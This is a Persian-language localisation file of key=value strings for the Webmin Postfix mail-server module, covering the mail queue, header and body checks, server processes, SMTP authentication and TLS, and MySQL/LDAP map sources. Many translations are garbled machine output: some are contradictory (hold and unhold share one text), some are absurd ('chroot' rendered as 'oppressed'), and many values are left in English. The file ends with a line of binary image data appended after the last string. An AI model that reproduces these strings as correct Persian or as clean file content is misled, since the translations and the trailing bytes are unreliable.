mailq_delete=پیام های منتخب را حذف کنید
mailq_size=اندازه
mailq_ecannot=شما مجاز به دیدن صف نامه نیستید
mailq_egone=پیام دیگر در صف نیست
mailq_status=وضعیت
mailq_flush=فلش پست الکترونیکی صف
mailq_flushdesc=با کلیک بر روی این دکمه برای تحویل فوری همه پیام های موجود در صف ، و نمایش نتایج.
mailq_refresh=صف ایمیل را تازه کنید
mailq_refreshdesc=بارگیری این صفحه برای نشان دادن وضعیت فعلی صف نامه.
mailq_deleteall=پاک کردن صف نامه
mailq_deletealldesc=برای پاک کردن تمام پیام های موجود در صف نامه ، روی این دکمه کلیک کنید.
mailq_search=پیام های صف را در کجا پیدا کنید
mailq_move=Requeue انتخاب شد
mailq_incoming=ورودی
mailq_active=فعال
mailq_deferred=به تعویق افتاد
mailq_hold=انتخاب را نگه دارید
mailq_unhold=انتخاب را نگه دارید

flushq_title=Flush Queue
flushq_desc=Forcing the attempted delivery of mail with the command $1 ..

qview_title=پیام صف
qview_desc=From file $1
qview_headers=هدرهای ایمیل
qview_attach=پیوست ها

after_err=Postfix configuration error : $1

searchq_title=نتایج جستجوی صف
searchq_none=هیچ پیام صف یافت نشد.

header_title=چک های هدر
header_ecannot=شما مجاز به ویرایش چک های سربرگ نیستید
header_eregexp=The header checks map must be in the format <tt>regexp:</tt><i>filename</i>
opts_header_checks=جداول بررسی هدر MIME
header_name=عبارت منظم
header_value=اقدام برای مسابقات
header_discard=دور انداختن (با پیام ورود به سیستم..)
header_dunno=کاری نکن
header_filter=اعمال فیلتر ..
header_hold=در صف نگه دارید (با پیام ورود به سیستم..)
header_ignore=چشم پوشی
header_prepend=متن پیش نمایش ..
header_redirect=تغییر مسیر به آدرس ..
header_replace=با متن جایگزین کنید ..
header_reject=رد (با پیام خطا..)
header_warn=هشدار ورود به سیستم (با پیام..)
header_ename=بیان منظم نامعتبر - باید مانند / چیزی باشد /
header_return=چک های هدر

body_title=چک های بدن
body_ecannot=شما مجاز به ویرایش چک های بدن نیستید
body_eregexp=The body checks map must be in the format <tt>regexp:</tt><i>filename</i>
opts_body_checks=جداول بررسی بدن پیام
body_return=چک های بدن

dependent_title=نقشه برداری حمل و نقل وابسته به فرستنده
dependent_ecannot=شما مجاز به ویرایش نقشه های حمل و نقل وابسته به فرستنده نیستید
dependent_eregexp=The sender dependent transports map must be in the format <tt>regexp:</tt><i>filename</i>
dependent_return=نقشه‌های حمل و نقل وابسته به فرستنده

manual_title=پرونده نقشه را ویرایش کنید
manual_file=یک فایل نقشه را برای ویرایش انتخاب کنید:
manual_change=تغییر دادن
manual_editing=Use the text box below to manually edit the mappings in $1. Be careful, as no syntax or validity checking will be done.
manual_err=ذخیره فایل نقشه انجام نشد
manual_efile=نام پرونده نامعتبر است!
manual_ecannot=شما مجاز به ویرایش دستی فایل های نقشه نیست

delq_titles=حذف پیام ها
delq_rusure=Are you sure you want to delete the $1 selected queued messages?
delq_confirm=پیام ها را حذف کنید

master_title=فرآیندهای سرور
master_name=نام فرآیند
master_enabled=فعال شده است؟
master_type=نوع حمل و نقل
master_private=خصوصی؟
master_unpriv=غیر شخصی؟
master_chroot=مظلوم؟
master_max=حداکثر پردازش
master_inet=اینترنت
master_unix=سوکت یونیکس
master_fifo=لوله نامگذاری شده است
master_add=یک فرآیند جدید سرور اضافه کنید.
master_unlimit=نامحدود
master_ecannot=شما مجاز به ویرایش فرآیندهای سرور نیستید
master_edit=فرایند سرور را ویرایش کنید
master_create=پردازش سرور ایجاد کنید
master_header=جزئیات مراحل سرور Postfix
master_host=آدرس میزبان را گوش دهید
master_any=هر آدرس
master_private2=سیستم پست الکترونیکی؟
master_unpriv2=به عنوان کاربر Postfix کار می کنید؟
master_chroot2=Chroot برای ارسال فهرست به صف؟
master_return=پردازشهای سرور
master_defyes=پیش فرض (بله)
master_command=فرمان پردازش
master_wakeup=روند بیدار شدن خودکار؟
master_wtime=After $1 seconds
master_wused=فقط در صورت استفاده
master_max2=حداکثر فرآیندها
master_procs=At most $1
master_name2=نام / پورت سرور
master_egone=فرایند سرور دیگر وجود ندارد!
master_eclash=فرایند سرور با همین نام و نوع حمل و نقل در حال حاضر وجود دارد
master_err=پردازش سرور ذخیره نشد
master_ename=نام یا پورت سرور نامعتبر یا نامعتبر است
master_ehost=آدرس میزبان نامعتبر است تا به آن گوش دهید
master_einet=آدرس میزبان برای گوش دادن فقط برای فرآیندهای اینترنتی قابل تعیین است
master_ecommand=دستور فرآیند سرور وجود ندارد
master_ewakeup=زمان بیدار یا نامعتبر است
master_emaxprocs=تعداد پردازش حداکثر یا نامعتبر است

delete_err=حذف نقشه ها انجام نشد
delete_enone=هیچ یک انتخاب نشده است

cmanual_title=پیکربندی پرونده ها را ویرایش کنید
cmanual_ecannot=شما مجاز به ویرایش پرونده پیکربندی Postfix نیستید
cmanual_ok=ویرایش کنید
cmanual_efile=پرونده انتخاب شده بخشی از پیکربندی Postfix نیست
cmanual_file=ویرایش پرونده پیکربندی:
cmanual_edata=هیچ چیز وارد نشده است!
cmanual_err=ذخیره پرونده پیکربندی انجام نشد

access_return=جدول نقشه دسترسی
edit_map_file=پرونده نقشه را ویرایش کنید
opts_reject_rbl_client=لیست سیاه Realtime (RBL)
opts_check_sender_access=جدول نقشه دسترسی فرستنده را بررسی کنید

log_misc=گزینه های کلی تغییر یافته است
log_opts=بازنویسی آدرس و تغییر چهره تغییر یافته است
log_aliases=گزینه های مستعار تغییر کرده است
log_canonical=گزینه های نقشه برداری متعارف را تغییر دهید
log_virtual=گزینه های دامنه مجازی تغییر یافته است
log_bcc=گزینه های نقشه BCC تغییر کرده است
log_transport=گزینه های نقشه برداری حمل و نقل تغییر یافته است
log_sni=گزینه های نقشه برداری گواهی را تغییر دهید
log_dependent=گزینه های آدرس وابسته به فرستنده تغییر یافته است
log_relocated=گزینه های نقشه برداری جابجایی تغییر یافته است
log_header=گزینه های بررسی سرصفحه تغییر یافته است
log_body=گزینه های بررسی بدن تغییر یافته است
log_debug=ویژگی های اشکال زدایی تغییر یافته است
log_ldap=جستجوی LDAP تغییر یافت
log_local=تحویل محلی تغییر یافت
log_rate=نرخ تحویل تغییر کرد
log_resource=کنترل منابع عمومی تغییر یافته است
log_smtp=گزینه های مشتری SMTP تغییر کرده است
log_smtpd=گزینه های سرور SMTP تغییر یافته است
log_alias_create=Created alias $1
log_alias_modify=Modified alias $1
log_alias_delete=Deleted alias $1
log_delete_aliases=Deleted $1 aliases
log_virtual_alias_maps_create=Created virtual domain $1
log_virtual_alias_maps_modify=Modified virtual domain $1
log_virtual_alias_maps_delete=Deleted virtual domain $1
log_delete_virtual_alias_mapss=Deleted $1 virtual domains
log_manual_virtual_alias_mapss=Manually edited virtual domains in $1
log_virtual_maps_create=Created virtual domain $1
log_virtual_maps_modify=Modified virtual domain $1
log_virtual_maps_delete=Deleted virtual domain $1
log_delete_virtual_mapss=Deleted $1 virtual domains
log_manual_virtual_mapss=Manually edited virtual domains in $1
log_canonical_maps_create=Created canonical mapping $1
log_canonical_maps_modify=Modified canonical mapping $1
log_canonical_maps_delete=Deleted canonical mapping $1
log_delete_canonical_mapss=Deleted $1 canonical mappings
log_manual_canonical_mapss=Manually edited canonical mappings in $1
log_recipient_canonical_maps_create=Created recipient canonical mapping $1
log_recipient_canonical_maps_modify=Modified recipient canonical mapping $1
log_recipient_canonical_maps_delete=Deleted recipient canonical mapping $1
log_delete_recipient_canonical_mapss=Deleted $1 recipient canonical mappings
log_manual_recipient_canonical_mapss=Manually edited recipient canonical mappings in $1
log_sender_canonical_maps_create=Created sender canonical mapping $1
log_sender_canonical_maps_modify=Modified sender canonical mapping $1
log_sender_canonical_maps_delete=Deleted sender canonical mapping $1
log_delete_sender_canonical_mapss=Deleted $1 sender canonical mappings
log_manual_sender_canonical_mapss=Manually edited sender canonical mappings in $1
log_transport_maps_create=Created transport mapping $1
log_transport_maps_modify=Modified transport mapping $1
log_transport_maps_delete=Deleted transport mapping $1
log_delete_transport_mapss=Deleted $1 transport mappings
log_manual_transport_mapss=Manually edited transport mappings in $1
log_relocated_maps_create=Created relocated mapping $1
log_relocated_maps_modify=Modified relocated mapping $1
log_relocated_maps_delete=Deleted relocated mapping $1
log_delete_relocated_mapss=Deleted $1 relocated mappings
log_manual_relocated_mapss=Manually edited relocated mappings in $1
log_header_checks_create=Created header check $1
log_header_checks_modify=Modified header check $1
log_header_checks_delete=Deleted header check $1
log_delete_header_checkss=Deleted $1 header checks
log_manual_header_checkss=Manually edited header checks in $1
log_body_checks_create=Created body check $1
log_body_checks_modify=Modified body check $1
log_body_checks_delete=Deleted body check $1
log_delete_body_checkss=Deleted $1 body checks
log_manual_body_checkss=Manually edited body checks in $1
log_master_create=Created server process $1
log_master_modify=Modified server process $1
log_master_delete=Deleted server process $1
log_manual=Manually edited configuration file $1
log_stop=سرور Postfix متوقف شد
log_start=سرور Postfix را شروع کرد
log_reload=پیکربندی Postfix را دوباره انجام داد
log_delqs=Deleted $1 messages from mail queue
log_flushq=صف پست الکترونیکی
log_backend=Updated configuration file for map $1
log_sasl=تأیید اعتبار و رمزگذاری SMTP تغییر یافت
log_client=محدودیت های مشتری SMTP تغییر کرده است
log_sender_dependent_default_transport_maps_create=Created sender dependent address $1
log_sender_dependent_default_transport_maps_modify=Modified sender dependent address $1
log_sender_dependent_default_transport_maps_delete=Deleted sender dependent address $1
log_delete_sender_dependent_default_transport_mapss=Deleted $1 sender dependent addresses
log_manual_sender_dependent_default_transport_mapss=Manually edited sender dependent addresses in $1

sasl_title=احراز هویت و رمزگذاری SMTP
opts_smtpd_sasl_auth_enable=آیا احتیاج به احراز هویت SASL SMTP دارید؟
opts_smtp_sasl_auth_enable=از احراز هویت SASL SMTP استفاده می کنید؟
opts_smtpd_tls_auth_only=تأیید هویت SASL از طریق اتصالات ناامن مجاز نیست؟
opts_broken_sasl_auth_clients=با SMTP سازگار نیستید؟
sasl_opts=گزینه های امنیتی SMTP
sasl_noanonymous=ورود به سیستم ناشناس را رد کنید
sasl_noplaintext=ورود به متن ساده را رد کنید
opts_smtpd_delay_reject=تأخیر مشتریان را با ورود به سیستم شکست خورده؟
sasl_recip=محدودیت دریافت کننده SMTP
sasl_relay=محدودیت رله SMTP
sasl_permit_mynetworks=اتصال از همان شبکه مجاز است
sasl_permit_sasl_authenticated=به مشتریهای معتبر اجازه دهید
sasl_reject_unauth_destination=ایمیل را به دامنه های دیگر رد کنید
sasl_permit_inet_interfaces=اتصال از این سیستم مجاز است
sasl_reject_unknown_reverse_client_hostname=رد مشتریها بدون نام میزبان معکوس
sasl_reject_unknown_client=رد مشتریها بدون نام میزبان معکوس
sasl_check_relay_domains=فقط دامنه های رله مجاز است
sasl_permit_mx_backup=اجازه دامنه های این سیستم برای MX پشتیبان گیری است
sasl_permit_tls_all_clientcerts=به مشتریان TLS با هر گواهی اجازه دهید
sasl_reject_unauth_pipelining=دستورات اولیه SMTP را رد کنید
sasl_check_client_access=نقشه دسترسی مشتری را بررسی کنید :
sasl_reject_rbl_client=رد کنید اگر آدرس IP مشتری در RBL است :
sasl_reject_rhsbl_client=رد کنید اگر نام میزبان مشتری در RBL است :
opts_smtpd_tls_cert_file=پرونده گواهینامه TLS
opts_smtpd_tls_key_file=پرونده کلید خصوصی TLS
opts_smtpd_tls_CAfile=پرونده مجوز TLS
opts_smtpd_use_tls=رمزگذاری TLS را فعال کنید؟
opts_smtp_enforce_tls=آیا نیاز به رمزگذاری TLS دارید؟
sasl_err=ذخیره اعتبار و رمزگذاری SMTP انجام نشد
sasl_ecert=پرونده گواهی TLS موجود نیست یا نامعتبر است
sasl_ekey=پرونده کلید TLS موجود نیست یا نامعتبر است
sasl_eca=پرونده مجوز TLS مجوز یا نامعتبر است
sasl_level_none=هرگز
sasl_level_may=در صورت درخواست مشتری
sasl_level_encrypt=همیشه
sasl_level_dane=فرصت طلبانه DANE TLS
sasl_level_dane_only=اجباری DANE TLS
sasl_level_fingerprint=تأیید اثر انگشت گواهی
sasl_level_verify=تأیید اجباری TLS
sasl_level_secure=TLS کانال امن
sasl_login=ورود به سیستم SMTP به میزبان پست الکترونیکی
sasl_nologin=هیچ مورد نیاز نیست
sasl_userpass=Login as $1 with password $2
sasl_elogin=ورود SMTP ناموفق یا نامعتبر است (هیچ فضایی یا ستون مجاز نیست)
sasl_epass=گذرواژه SMTP نامعتبر است (هیچ فضایی مجاز نیست)

client_title=محدودیت های مشتری SMTP
client_ecannot=شما مجاز به ویرایش محدودیت های مشتری SMTP نیستید
client_restrict=محدودیت مشتری
client_restrict1=پیش فرض پسوند (به همه مشتری ها اجازه می دهد)
client_restrict0=انتخاب شده در زیر ..
client_other=سایر محدودیت ها :
client_err=محدودیت های مشتری ذخیره نشد
client_evalue=Missing value for restriction $1
client_return=محدودیت های مشتری SMTP

chooser_title=منبع نقشه را انتخاب کنید
chooser_header=Map source $1
chooser_none=هیچ یک
chooser_hash=نقشه برداری پرونده
chooser_regexp=پرونده Regexps
chooser_pcre=پرونده regexps به سبک پرل
chooser_other=منبع دیگر
chooser_mysql=پایگاه داده MySQL
chooser_mysqlsrc=منبع MySQL
chooser_mhosts=میزبان (های) سرور MySQL
chooser_muser=ورود به پایگاه داده
chooser_mpassword=رمز عبور پایگاه داده
chooser_mdbname=نام پایگاه داده
chooser_mtable=جدول حاوی نقشه
chooser_mselect_field=زمینه ارزش
chooser_mwhere_field=زمینه کلیدی
chooser_madditional_conditions=SQL for <tt>where</tt> clause
chooser_err=ذخیره منبع نقشه انجام نشد
chooser_ehash=Missing or invalid mapping filename for map $1
chooser_eregexp=Missing or invalid regular expressions filename for map $1
chooser_epcre=Missing or invalid Perl-compatible regular expressions filename for map $1
chooser_eother=Missing or invalid other source for map $1
chooser_enone=هیچ یک وارد نشده است
chooser_emhosts=Missing MySQL server hosts for map $1
chooser_emuser=Missing or invalid database login for map $1
chooser_empassword=Missing or invalid database password for map $1
chooser_emdbname=Missing or invalid table name for map $1
chooser_emselect_field=Missing or invalid value field for map $1
chooser_emwhere_field=Missing or invalid key field for map $1
chooser_emadditional=Missing additional SQL conditions for map $1
chooser_mquery=جستجوی سفارشی برای نقشه
chooser_emquery=جستجوی سفارشی برای نقشه وجود ندارد
chooser_lserver_host=میزبان سرور LDAP
chooser_lserver_port=پورت LDAP
chooser_lstart_tls=از رمزگذاری TLS استفاده می کنید؟
chooser_lsearch_base=پایگاه جستجوی LDAP DN
chooser_lquery_filter=فیلتر پرس و جو
chooser_lresult_attribute=ویژگی نتیجه
chooser_lscope=دامنه جستجو
chooser_lsub=تمام زیر درخت
chooser_lone=یک سطح
chooser_lbase=فقط پایه
chooser_lbind=ورود به سرور LDAP؟
chooser_lbind_dn=ورود به سرور
chooser_lbind_pw=رمز سرور
chooser_ldap=سرور LDAP
chooser_lfilter=فیلتر دیگر
chooser_lattribute=ویژگی دیگر
chooser_elserver_host=Missing LDAP server hosts for map $1
chooser_elserver_port=Missing or invalid LDAP server port for map $1
chooser_elsearch_base=Missing LDAP search base for map $1
chooser_elquery_filter=Missing query filter for map $1
chooser_elresult_attribute=Missing or invalid result attribute name for map $1
chooser_elbind_dn=Missing login for LDAP server for map $1
chooser_elbind_pw=Missing password for LDAP server for map $1

mysql_ecfile=MySQL configuration file $1 was not found
mysql_ecfile2=Could not find table in MySQL configuration file $1
mysql_edriver=Failed to load the database driver $1
mysql_elogin=Failed to login to the database $1 : $2.
mysql_equery=Failed to query table $1 : $2
mysql_eadd=SQL insert failed : $1
mysql_edelete=SQL delete failed : $1
mysql_eupdate=SQL update failed : $1
mysql_elist=SQL query failed : $1
mysql_esource=No MySQL source named $1 was found
mysql_eneed=The MySQL configuration parameter $1 was not found. Webmin needs this to figure out which table and fields to query.

ldap_ecfile=LDAP configuration file $1 was not found
ldap_eldapmod=Perl module $1 needed to communicate with LDAP is not installed or not loadable
ldap_eldap=Failed to connect to LDAP server $1 on port $2
ldap_eldaplogin=Failed to login to LDAP server $1 as $2 : $3
ldap_ebase=LDAP base DN $1 is not valid : $2
ldap_eadd=LDAP add of $1 failed : $2
ldap_edelete=LDAP delete of $1 failed : $2
ldap_equery=LDAP search of $1 failed : $2
ldap_erename=LDAP rename of $1 to $2 failed : $3
ldap_emodify=LDAP modify of $1 failed : $2

bcc_title=نقشه برداری BCC
bcc_ecannot=شما مجاز به ویرایش نگاشتهای BCC نیستید
opts_sender_bcc_maps=جداول جستجوی نقشه برداری فرستنده BCC
opts_recipient_bcc_maps=جداول جستجوی نقشه برداری گیرنده BCC
bcc_sender=نگاشتهای فرستنده
bcc_recipient=نگاشت گیرنده
bcc_senderdesc=The sender BCC mappings define an additional email address that mail <b>from</b> the addresses or domains listed will be BCCd to.
bcc_recipientdesc=The recipient BCC mappings define an additional email address that mail <b>to</b> the addresses or domains listed will be BCCd to.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`